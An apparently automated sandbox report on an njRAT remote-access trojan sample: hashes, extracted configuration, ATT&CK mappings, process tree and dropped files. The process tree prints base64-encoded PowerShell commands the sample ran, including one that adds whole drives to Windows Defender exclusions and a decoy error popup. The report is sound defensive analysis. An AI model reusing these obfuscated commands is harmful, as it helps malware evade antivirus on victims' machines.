njrat | ed307213c0e62af8477e9ca939b045da7498c21d7c717011a78b3b2de8dfec3a

General

Target

filetest.exe
Size

33KB
MD5

ef59fb3c39255044648423954f1da668
SHA1

45cf2370789c5314fa2c57221ca02b6ef877be60
SHA256

ed307213c0e62af8477e9ca939b045da7498c21d7c717011a78b3b2de8dfec3a
SHA512

907aefa515e7df8dd215f57ec47d96e79cf5b63b0a4e7aeb81ed8ce2540796dd4281ce46d3b06b4bda4c250aec6bd62b83b5018979cea064fa7f37fd7e55f101
SSDEEP

768:uR5KrKvDIAuBtvoY2vIP0S9QY3UuTWUSX94HPy8R9:rKvMnf2Ie+U1NX94vy8/

Score

10^/10

njrat hacked defense_evasion trojan

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

Mutex

ee714fb89d1a0ba22c66b8980599112e

Attributes

reg_key
ee714fb89d1a0ba22c66b8980599112e
splitter
|'|'|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	filetest.exe

Executes dropped EXE 1 IoCs

pid	Process
4008	Server.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	Server.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4008	Server.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
916	powershell.exe
916	powershell.exe
1132	powershell.exe
1132	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
748	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe

Suspicious use of SetWindowsHookEx 25 IoCs

pid	Process
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe
748	OpenWith.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 916	1948	filetest.exe	82
PID 1948 wrote to memory of 916	1948	filetest.exe	82
PID 1948 wrote to memory of 1132	1948	filetest.exe	94
PID 1948 wrote to memory of 1132	1948	filetest.exe	94
PID 1948 wrote to memory of 4008	1948	filetest.exe	96
PID 1948 wrote to memory of 4008	1948	filetest.exe	96
PID 748 wrote to memory of 428	748	OpenWith.exe	102
PID 748 wrote to memory of 428	748	OpenWith.exe	102

C:\Users\Admin\AppData\Local\Temp\filetest.exe
"C:\Users\Admin\AppData\Local\Temp\filetest.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZwBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAZgB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAARQByAHIAbwByACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHkAawBnACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcwBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAegBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAagB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdABkACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Users\Admin\AppData\Local\Temp\Server.exe
  "C:\Users\Admin\AppData\Local\Temp\Server.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: AddClipboardFormatListener
  PID:4008

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\nudes
  2⤵
  PID:428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
614f88cf39eb3223246afec4bf1463b4

SHA1
74d738ee6fdada75ac1ef1645073005e3f6b6cfb

SHA256
021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd

SHA512
84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4b90550f375afbfd1b52d0731e835b52

SHA1
e07b218b14743ada74fb88d4109c7acaa83e5e07

SHA256
61787abb9fc57fdae394e0d5c15470ff78c4b97b9ebd77cd8ca1019c13a0c403

SHA512
a91918a888cdddc5d73c638d59276060461df2eee1b99d72f1c9478fd7888d3a8552ca6fdcdc219fa6e3b206c3ca32043ac1e64dcacb0a3b4bbb6820bc69718b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
24KB

MD5
fa9439d61c3c28bb92a75095cf39d6bc

SHA1
a959b37a215b1417e72fb7df722e9cecd8f29629

SHA256
5f135cd0ac161e5ec8e90598e5ad2f1db3981a597a3c0f1cbd4aac54189c62a8

SHA512
49703b19e66daa3932dc7074b99ef6859005b45f99b7cd84d3681291cf006b4526ca7561bbfeb6c1527fa7ab57d9164eaaf331af3308416b23ac6e5cc59c7fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_guzpaa3r.1do.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/916-13-0x000001C544B50000-0x000001C544B72000-memory.dmp

Filesize
136KB

Download
memory/916-14-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/916-15-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/916-18-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/916-8-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/1948-0-0x00007FFC001D3000-0x00007FFC001D5000-memory.dmp

Filesize
8KB

Download
memory/1948-19-0x00007FFC001D3000-0x00007FFC001D5000-memory.dmp

Filesize
8KB

Download
memory/1948-20-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/1948-2-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/1948-35-0x00007FFC001D0000-0x00007FFC00C91000-memory.dmp

Filesize
10.8MB

Download
memory/1948-1-0x0000000000CF0000-0x0000000000CFE000-memory.dmp

Filesize
56KB

Download
memory/4008-33-0x0000000000E00000-0x0000000000E0C000-memory.dmp

Filesize
48KB

Download

Analysis

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